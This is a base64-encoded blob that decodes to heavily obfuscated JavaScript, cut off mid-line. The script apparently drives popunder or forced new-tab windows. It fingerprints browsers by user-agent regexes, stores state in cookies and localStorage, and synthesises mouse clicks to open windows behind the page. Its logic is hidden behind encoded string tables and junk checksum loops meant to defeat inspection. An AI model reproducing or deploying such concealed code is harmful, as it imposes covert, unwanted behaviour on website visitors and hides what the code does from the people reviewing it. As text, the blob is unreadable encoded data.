T13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe